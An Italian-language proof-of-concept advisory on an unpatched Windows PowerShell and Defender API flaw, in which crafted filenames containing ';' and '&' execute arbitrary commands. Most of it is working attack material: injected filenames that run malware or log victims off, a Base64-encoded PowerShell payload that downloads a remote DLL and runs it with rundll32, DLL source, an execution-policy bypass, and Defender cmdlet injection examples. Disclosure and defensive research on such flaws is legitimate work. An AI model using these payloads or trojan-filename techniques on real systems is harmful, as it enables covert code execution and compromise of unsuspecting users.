
POC di esecuzione di codice tramite nome file in Windows PowerShell non corretto
Windows PowerShell Filename e Defender Anti-Malware API - POC di Esecuzione di Codice
Scoperta: John Page (aka hyp3rlinx) 2019 e rivisitato 2023
Aggiornato il 24 dicembre 2023
Bypass dell'ostacolo degli apici singoli in PowerShell per l'esecuzione di codice e, bonus, fallimento del registro eventi di Windows PS!
Il punto e virgola e l'amico operatore "&" uniscono le forze per capacità di esecuzione di codice arbitrario.
Esegui del malware indesiderato:
C:\Users\gg\Downloads>powershell get-filehash 'Infected&Malware;.zip' -algorithm md5
OPPURE
Scansione Anti-malware di Windows Defender:
powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected&Malware;.zip'
Dove Malware.exe si trova nella stessa directory, pensa a un download drive-by.
Fallimento del registro eventi di Windows, PS event ID 403, non riesce a registrare il vero nome file a causa del troncamento:
Estratto del log PS:
HostApplication=powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected
EngineVersion=5.1.19041.3803
Chiamare ping cmd? Perché no
C:>powershell get-filehash 'powerfail&ping 8.8.8.8&.txt' -algorithm md5
Disconnessione della vittima:
C:>powershell Start-MpScan -Scanpath 'virus&logoff&test.zip'
Aggiornato: 7 dic 2023 aggiunto il vettore CL e Windows Defender API, vedi sotto:
Dato che funziona ancora, l'ho rispolverato e ho apportato miglioramenti minori:
Segnalato per la prima volta a Microsoft nel 2019, rimane ancora non corretto al momento della scrittura.
Esecuzione di codice remota tramite un nome file appositamente progettato.
Il difetto è dovuto al punto e virgola ";": possiamo decodificare un comando Base64 ed eseguirlo direttamente dal nome file PS1, oppure semplicemente eseguire comandi.
Test;POweRsHeLL -e [BASE64 UTF-16LE PAYLOAD];.ps1
Esegui comandi immediatamente
"Testing;saps (gc -) PoC;.ps1"
Vettori: doppio clic, trascinamento e rilascio sul collegamento di PS
Sfrutta comandi PS abbreviati alternativi come "saps", "gc" per avviare un processo e get-content, ecc.
Crea un file PS1 trojan che tenterà di scaricare ed eseguire una DLL remota chiamata "1.d"
Python:
from base64 import b64encode
b64encode("saps http[]//127.0.0.1/1.d;sleep -s 2;rundll32 $HOME\Downloads\1.d, 0".encode('UTF-16LE'))
cwBhAHAAcwAgACAAaAB0AHQAcAA6AC8ALwAxADIANwAuADAALgAwAC4AMQAvADEALgBkADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHIAdQBuAGQAbABsADMAMgAgACQASABPAE0ARQBcAEQAbwB3AG4AbABvAGEAZABzAFwAMQAuAGQALAAgADAA
Codice DLL:
#include <windows.h>
//gcc -shared -o mydll.dll mydll.c -m32
//hyp3rlinx
void evilo(void){
MessageBox(0,"Filename Remote Code Execution PoC\r\nBy hyp3rlinx","M$ Windows PowerShell",1);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
evilo();
return 0;
}
python -m http.server 80
Fai doppio clic sul file PS1 trojan.
Crea un file PS1 con un nome che includa saps "avvia un processo" e gc "get-content": leggerà i comandi da un file nascosto.
"Test;saps (gc -) PoC;.ps1"
Crea nascosto: attrib +s +h "-"
Doppio clic o trascina e rilascia.
a) I file PowerShell PS1 devono essere impostati per aprirsi con PowerShell come programma predefinito
b) Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
c) L'utente deve fare doppio clic, eseguire da riga di comando o trascinare e rilasciare lo script PS1 con nome dannoso
https://www.youtube.com/watch?v=-ZJnA70Cf4I
https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/029d41d2-af58-434d-8d0f-0bf8f01d1c55

Aggiornamento: Microsoft Defender Anti-Malware PowerShell API - Esecuzione di codice arbitrario.
Microsoft Defender Anti-Malware e/o le API PS possono risultare nell'esecuzione di codice arbitrario. Ad esempio, la scansione di una directory, di un collegamento .lnk o persino di un elemento inesistente può eseguire codice non voluto. Questo vettore si basa sulla mia precedente advisory e sul successivo progetto PSTrojanFile.
Requisiti:
Esempi:
powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads;saps Helper;.1.zip"
(Helper.exe si trova sul Desktop)
Crea una directory ";saps Test": Test.exe, Test.cmd, ecc. sono sullo stesso percorso della riga di comando
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications ";saps Test"
Crea una directory con il punto e virgola, inserisci un file PE chiamato doom.exe nello stesso percorso.
powershell Set-ProcessMitigation -PolicyFilePath "test;saps doom"
Ultimo ma non meno importante:
Quando si ottiene un hash di file in PowerShell, vieni disconnesso :)
c:>powershell get-filehash -algorithm MD5 "Malware;saps logoff.exe"
https://www.youtube.com/watch?v=0Go6yJiRWP8
https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/b033b9f8-1ea0-4ea3-9fa3-56ea63db5b08